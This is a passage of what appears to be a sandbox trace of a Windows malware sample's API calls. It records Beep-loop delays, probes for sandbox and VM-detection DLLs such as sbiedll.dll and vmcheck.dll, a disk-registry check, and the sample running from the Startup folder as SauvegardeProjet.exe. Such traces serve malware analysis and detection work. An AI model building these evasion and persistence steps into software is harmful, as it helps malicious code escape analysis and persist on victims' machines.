(dwFreq=0x26, dwDuration=0x1) returned 1 [0258.365] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.366] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.367] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.368] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.369] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.370] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.371] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.372] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.373] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.374] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.376] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.377] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.378] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.379] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.380] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.381] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.382] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.383] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.384] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.385] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.386] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.387] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.388] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.389] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.391] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.391] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.392] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.393] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.394] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.395] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.396] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.398] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.398] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.399] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.400] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.401] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.402] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.403] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.404] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.405] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.406] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.407] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.408] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.409] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.410] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.411] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.412] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.413] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.414] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.415] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.417] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.417] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.418] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.434] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.450] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.465] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.481] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.497] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.512] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.529] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.530] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.531] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.532] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.533] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.534] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.535] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.536] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.538] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.553] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.569] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.585] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.585] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.587] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0260.891] GetTimeZoneInformation (in: lpTimeZoneInformation=0x636dc80 | out: lpTimeZoneInformation=0x636dc80) returned 0x2 [0260.893] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x636dad4 | out: pTimeZoneInformation=0x636dad4) returned 0x2 [0260.894] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x636dbb8 | out: phkResult=0x636dbb8*=0x298) returned 0x0 [0260.894] RegQueryValueExW (in: hKey=0x298, lpValueName="TZI", lpReserved=0x0, lpType=0x636dbd4, lpData=0x0, lpcbData=0x636dbd0*=0x0 | out: lpType=0x636dbd4*=0x3, lpData=0x0, lpcbData=0x636dbd0*=0x2c) returned 0x0 [0260.894] RegQueryValueExW (in: hKey=0x298, lpValueName="TZI", lpReserved=0x0, lpType=0x636dbd4, lpData=0x24b6b48, lpcbData=0x636dbd0*=0x2c | out: lpType=0x636dbd4*=0x3, lpData=0x24b6b48*, lpcbData=0x636dbd0*=0x2c) returned 0x0 [0260.895] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x636da0c | out: phkResult=0x636da0c*=0x29c) returned 0x0 [0260.895] RegQueryValueExW (in: hKey=0x29c, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x636da28, lpData=0x0, lpcbData=0x636da24*=0x0 | out: lpType=0x636da28*=0x4, lpData=0x0, lpcbData=0x636da24*=0x4) returned 0x0 [0260.895] RegQueryValueExW (in: hKey=0x29c, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x636da28, lpData=0x636da14, lpcbData=0x636da24*=0x4 | out: lpType=0x636da28*=0x4, lpData=0x636da14*=0x7d7, lpcbData=0x636da24*=0x4) returned 0x0 [0260.895] RegQueryValueExW (in: hKey=0x29c, lpValueName="LastEntry", lpReserved=0x0, lpType=0x636da28, lpData=0x0, lpcbData=0x636da24*=0x0 | out: lpType=0x636da28*=0x4, lpData=0x0, lpcbData=0x636da24*=0x4) returned 0x0 [0260.896] RegQueryValueExW (in: hKey=0x29c, lpValueName="LastEntry", lpReserved=0x0, lpType=0x636da28, lpData=0x636da14, lpcbData=0x636da24*=0x4 | out: lpType=0x636da28*=0x4, lpData=0x636da14*=0x7d8, lpcbData=0x636da24*=0x4) returned 0x0 [0260.896] RegQueryValueExW (in: hKey=0x29c, lpValueName="2007", lpReserved=0x0, lpType=0x636da28, lpData=0x0, lpcbData=0x636da24*=0x0 | out: lpType=0x636da28*=0x3, lpData=0x0, lpcbData=0x636da24*=0x2c) returned 0x0 [0260.896] RegQueryValueExW (in: hKey=0x29c, lpValueName="2007", lpReserved=0x0, lpType=0x636da28, lpData=0x24b7108, lpcbData=0x636da24*=0x2c | out: lpType=0x636da28*=0x3, lpData=0x24b7108*, lpcbData=0x636da24*=0x2c) returned 0x0 [0260.896] RegQueryValueExW (in: hKey=0x29c, lpValueName="2008", lpReserved=0x0, lpType=0x636da28, lpData=0x0, lpcbData=0x636da24*=0x0 | out: lpType=0x636da28*=0x3, lpData=0x0, lpcbData=0x636da24*=0x2c) returned 0x0 [0260.896] RegQueryValueExW (in: hKey=0x29c, lpValueName="2008", lpReserved=0x0, lpType=0x636da28, lpData=0x24b71c8, lpcbData=0x636da24*=0x2c | out: lpType=0x636da28*=0x3, lpData=0x24b71c8*, lpcbData=0x636da24*=0x2c) returned 0x0 [0260.896] RegCloseKey (hKey=0x29c) returned 0x0 [0260.897] RegQueryValueExW (in: hKey=0x298, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x636dbac, lpData=0x0, lpcbData=0x636dba8*=0x0 | out: lpType=0x636dbac*=0x1, lpData=0x0, lpcbData=0x636dba8*=0x20) returned 0x0 [0260.897] RegQueryValueExW (in: hKey=0x298, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x636dbac, lpData=0x24b7310, lpcbData=0x636dba8*=0x20 | out: lpType=0x636dbac*=0x1, lpData="@tzres.dll,-670", lpcbData=0x636dba8*=0x20) returned 0x0 [0260.897] RegQueryValueExW (in: hKey=0x298, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x636dbac, lpData=0x0, lpcbData=0x636dba8*=0x0 | out: lpType=0x636dbac*=0x1, lpData=0x0, lpcbData=0x636dba8*=0x20) returned 0x0 [0260.897] RegQueryValueExW (in: hKey=0x298, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x636dbac, lpData=0x24b7368, lpcbData=0x636dba8*=0x20 | out: lpType=0x636dbac*=0x1, lpData="@tzres.dll,-672", lpcbData=0x636dba8*=0x20) returned 0x0 [0260.897] RegQueryValueExW (in: hKey=0x298, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x636dbac, lpData=0x0, lpcbData=0x636dba8*=0x0 | out: lpType=0x636dbac*=0x1, lpData=0x0, lpcbData=0x636dba8*=0x20) returned 0x0 [0260.897] RegQueryValueExW (in: hKey=0x298, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x636dbac, lpData=0x24b73c0, lpcbData=0x636dba8*=0x20 | out: lpType=0x636dbac*=0x1, lpData="@tzres.dll,-671", lpcbData=0x636dba8*=0x20) returned 0x0 [0260.908] CoTaskMemAlloc (cb=0x20c) returned 0x4fadc78 [0260.908] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x4fadc78 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0260.911] CoTaskMemFree (pv=0x4fadc78) [0260.911] CoTaskMemAlloc (cb=0x20c) returned 0x4fadc78 [0260.911] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x636dbc8, pwszFileMUIPath=0x4fadc78, pcchFileMUIPath=0x636dbcc, pululEnumerator=0x636dbc0 | out: pwszLanguage=0x0, pcchLanguage=0x636dbc8, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x636dbcc, pululEnumerator=0x636dbc0) returned 1 [0260.912] CoTaskMemFree (pv=0x0) [0260.912] CoTaskMemFree (pv=0x4fadc78) [0260.913] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x2150001 [0260.914] CoTaskMemAlloc (cb=0x3ec) returned 0x4fb2ac8 [0260.914] LoadStringW (in: hInstance=0x2150001, uID=0x29e, lpBuffer=0x4fb2ac8, cchBufferMax=500 | out: lpBuffer="(UTC+10:00) Canberra, Melbourne, Sydney") returned 0x27 [0260.914] CoTaskMemFree (pv=0x4fb2ac8) [0260.914] FreeLibrary (hLibModule=0x2150001) returned 1 [0260.915] CoTaskMemAlloc (cb=0x20c) returned 0x4fadc78 [0260.915] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x4fadc78 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0260.915] CoTaskMemFree (pv=0x4fadc78) [0260.915] CoTaskMemAlloc (cb=0x20c) returned 0x4fadc78 [0260.915] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x636dbc8, pwszFileMUIPath=0x4fadc78, pcchFileMUIPath=0x636dbcc, pululEnumerator=0x636dbc0 | out: pwszLanguage=0x0, pcchLanguage=0x636dbc8, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x636dbcc, pululEnumerator=0x636dbc0) returned 1 [0260.916] CoTaskMemFree (pv=0x0) [0260.916] CoTaskMemFree (pv=0x4fadc78) [0260.916] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x2150001 [0260.917] CoTaskMemAlloc (cb=0x3ec) returned 0x4fb2ac8 [0260.917] LoadStringW (in: hInstance=0x2150001, uID=0x2a0, lpBuffer=0x4fb2ac8, cchBufferMax=500 | out: lpBuffer="AUS Eastern Standard Time") returned 0x19 [0260.917] CoTaskMemFree (pv=0x4fb2ac8) [0260.917] FreeLibrary (hLibModule=0x2150001) returned 1 [0260.918] CoTaskMemAlloc (cb=0x20c) returned 0x4fadc78 [0260.918] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x4fadc78 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0260.918] CoTaskMemFree (pv=0x4fadc78) [0260.918] CoTaskMemAlloc (cb=0x20c) returned 0x4fadc78 [0260.918] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x636dbc8, pwszFileMUIPath=0x4fadc78, pcchFileMUIPath=0x636dbcc, pululEnumerator=0x636dbc0 | out: pwszLanguage=0x0, pcchLanguage=0x636dbc8, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x636dbcc, pululEnumerator=0x636dbc0) returned 1 [0260.919] CoTaskMemFree (pv=0x0) [0260.919] CoTaskMemFree (pv=0x4fadc78) [0260.919] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x2150001 [0260.920] CoTaskMemAlloc (cb=0x3ec) returned 0x4fb2ac8 [0260.920] LoadStringW (in: hInstance=0x2150001, uID=0x29f, lpBuffer=0x4fb2ac8, cchBufferMax=500 | out: lpBuffer="AUS Eastern Daylight Time") returned 0x19 [0260.920] CoTaskMemFree (pv=0x4fb2ac8) [0260.920] FreeLibrary (hLibModule=0x2150001) returned 1 [0260.921] RegCloseKey (hKey=0x298) returned 0x0 [0260.961] NtDelayExecution (Alertable=0, Interval=0x24c36d8*=-2620000) returned 0x0 [0261.371] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4fa5c70 [0261.372] CoTaskMemAlloc (cb=0x18) returned 0x6c11f0 [0261.381] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="sbiedll.dll", DllHandle=0x636e0b8 | out: DllHandle=0x636e0b8*=0x0) returned 0xc0000135 [0261.382] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4fa5be0 [0261.382] CoTaskMemAlloc (cb=0x18) returned 0x6c1170 [0261.441] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="guard32.dll", DllHandle=0x636e0b8 | out: DllHandle=0x636e0b8*=0x0) returned 0xc0000135 [0261.443] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4fa5ca0 [0261.443] CoTaskMemAlloc (cb=0x18) returned 0x6c1310 [0261.446] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="dbghelp.dll", DllHandle=0x636e0b8 | out: DllHandle=0x636e0b8*=0x0) returned 0xc0000135 [0261.446] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4fa5b90 [0261.450] CoTaskMemAlloc (cb=0x18) returned 0x4fa3e98 [0261.452] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="api_log.dll", DllHandle=0x636e0b8 | out: DllHandle=0x636e0b8*=0x0) returned 0xc0000135 [0261.453] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4fa5c40 [0261.453] CoTaskMemAlloc (cb=0x1c) returned 0x4fb4cf0 [0261.455] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="dir_watch.dll", DllHandle=0x636e0b8 | out: DllHandle=0x636e0b8*=0x0) returned 0xc0000135 [0261.455] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4fa5b30 [0261.455] CoTaskMemAlloc (cb=0x18) returned 0x4fa3fb8 [0261.457] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="vmcheck.dll", DllHandle=0x636e0b8 | out: DllHandle=0x636e0b8*=0x0) returned 0xc0000135 [0261.457] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4fb36f0 [0261.457] CoTaskMemAlloc (cb=0x18) returned 0x4fa3df8 [0261.459] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="LOG_API.DLL", DllHandle=0x636e0b8 | out: DllHandle=0x636e0b8*=0x0) returned 0xc0000135 [0261.459] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4fb2b10 [0261.459] CoTaskMemAlloc (cb=0x18) returned 0x4fa3fd8 [0261.460] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="pstorec.dll", DllHandle=0x636e0b8 | out: DllHandle=0x636e0b8*=0x0) returned 0xc0000135 [0261.471] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Services\\Disk\\Enum", ulOptions=0x0, samDesired=0x20019, phkResult=0x636de0c | out: phkResult=0x636de0c*=0x298) returned 0x0 [0261.474] RegQueryValueExW (in: hKey=0x298, lpValueName="0", lpReserved=0x0, lpType=0x636de28, lpData=0x0, lpcbData=0x636de24*=0x0 | out: lpType=0x636de28*=0x1, lpData=0x0, lpcbData=0x636de24*=0x98) returned 0x0 [0261.474] RegQueryValueExW (in: hKey=0x298, lpValueName="0", lpReserved=0x0, lpType=0x636de28, lpData=0x238ab88, lpcbData=0x636de24*=0x98 | out: lpType=0x636de28*=0x1, lpData="IDE\\DiskHD502HI_________________________________OF90____\\5&37d1a386&0&0.0.0", lpcbData=0x636de24*=0x98) returned 0x0 [0261.565] RegCloseKey (hKey=0x298) returned 0x0 [0261.807] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", nBufferLength=0x105, lpBuffer=0x636dbec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", lpFilePart=0x0) returned 0x70 [0261.811] CoTaskMemAlloc (cb=0x20c) returned 0x4fadc78 [0261.811] SHGetFolderPathW (in: hwnd=0x0, csidl=41, hToken=0x0, dwFlags=0x0, pszPath=0x4fadc78 | out: pszPath="C:\\Windows\\SysWOW64") returned 0x0 [0261.811] CoTaskMemFree (pv=0x4fadc78) [0261.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64", nBufferLength=0x105, lpBuffer=0x636dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64", lpFilePart=0x0) returned 0x13 [0261.971] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34bfbf0, Length=0x20000, ResultLength=0x636dfbc | out: SystemInformation=0x34bfbf0, ResultLength=0x636dfbc*=0x7ce8) returned 0x0 [0264.264] GetCurrentProcessId () returned 0x564 [0264.264] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x2bc [0264.264] EnumProcessModules (in: hProcess=0x2bc, lphModule=0x23fb17c, cb=0x100, lpcbNeeded=0x636bdd0 | out: lphModule=0x23fb17c, lpcbNeeded=0x636bdd0) returned 1 [0264.265] GetModuleInformation (in: hProcess=0x2bc, hModule=0x260000, lpmodinfo=0x23fb2bc, cb=0xc | out: lpmodinfo=0x23fb2bc*(lpBaseOfDll=0x260000, SizeOfImage=0x9c000, EntryPoint=0x2f6c3e)) returned 1 [0264.265] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.265] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x260000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0264.265] CoTaskMemFree (pv=0x4fbd960) [0264.265] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.265] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x260000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x70 [0264.266] CoTaskMemFree (pv=0x4fbd960) [0264.266] GetModuleInformation (in: hProcess=0x2bc, hModule=0x77b10000, lpmodinfo=0x23fd49c, cb=0xc | out: lpmodinfo=0x23fd49c*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0264.266] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.266] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x77b10000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0264.266] CoTaskMemFree (pv=0x4fbd960) [0264.266] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.266] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x77b10000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0264.266] CoTaskMemFree (pv=0x4fbd960) [0264.266] GetModuleInformation (in: hProcess=0x2bc, hModule=0x736a0000, lpmodinfo=0x23ff5a0, cb=0xc | out: lpmodinfo=0x23ff5a0*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0264.267] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.267] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x736a0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0264.267] CoTaskMemFree (pv=0x4fbd960) [0264.267] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.267] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x736a0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0264.267] CoTaskMemFree (pv=0x4fbd960) [0264.267] GetModuleInformation (in: hProcess=0x2bc, hModule=0x77540000, lpmodinfo=0x24016ac, cb=0xc | out: lpmodinfo=0x24016ac*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0264.267] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.267] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x77540000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0264.268] CoTaskMemFree (pv=0x4fbd960) [0264.268] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.268] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x77540000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0264.268] CoTaskMemFree (pv=0x4fbd960) [0264.268] GetModuleInformation (in: hProcess=0x2bc, hModule=0x75990000, lpmodinfo=0x24037c0, cb=0xc | out: lpmodinfo=0x24037c0*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0264.268] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.268] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x75990000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0264.268] CoTaskMemFree (pv=0x4fbd960) [0264.268] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.268] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x75990000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0264.268] CoTaskMemFree (pv=0x4fbd960) [0264.268] GetModuleInformation (in: hProcess=0x2bc, hModule=0x773f0000, lpmodinfo=0x2405908, cb=0xc | out: lpmodinfo=0x2405908*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0264.269] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.269] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x773f0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0264.269] CoTaskMemFree (pv=0x4fbd960) [0264.269] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.269] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x773f0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0264.269] CoTaskMemFree (pv=0x4fbd960) [0264.269] GetModuleInformation (in: hProcess=0x2bc, hModule=0x77490000, lpmodinfo=0x2407a1c, cb=0xc | out: lpmodinfo=0x2407a1c*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0264.270] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.270] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x77490000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0264.270] CoTaskMemFree (pv=0x4fbd960) [0264.270] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.270] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x77490000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0264.270] CoTaskMemFree (pv=0x4fbd960) [0264.270] GetModuleInformation (in: hProcess=0x2bc, hModule=0x75f70000, lpmodinfo=0x2409b28, cb=0xc | out: lpmodinfo=0x2409b28*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0264.271] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.271] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x75f70000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0264.271] CoTaskMemFree (pv=0x4fbd960) [0264.271] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.271] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x75f70000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0264.271] CoTaskMemFree (pv=0x4fbd960) [0264.271] GetModuleInformation (in: hProcess=0x2bc, hModule=0x758a0000, lpmodinfo=0x240bc34, cb=0xc | out: lpmodinfo=0x240bc34*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0264.272] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.272] GetModuleBaseNameW (in: hProcess=0x2bc, hModule=0x758a0000, lpBaseName=0x4fbd960, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0264.272] CoTaskMemFree (pv=0x4fbd960) [0264.272] CoTaskMemAlloc (cb=0x804) returned 0x4fbd960 [0264.272] GetModuleFileNameExW (in: hProcess=0x2bc, hModule=0x758a0000, lpFilename=0x4fbd960, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0264.272] CoTaskMemFree (pv=0x4fbd960) [0264.272] GetModuleInformation (in: hProcess=0x2bc, hModule=0x75670000, lpmodinfo=0x240dd8c, cb=0xc | out: lpmodinfo=0x240dd8c*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0264.273] CoTaskMemAlloc (cb=0x804) returned 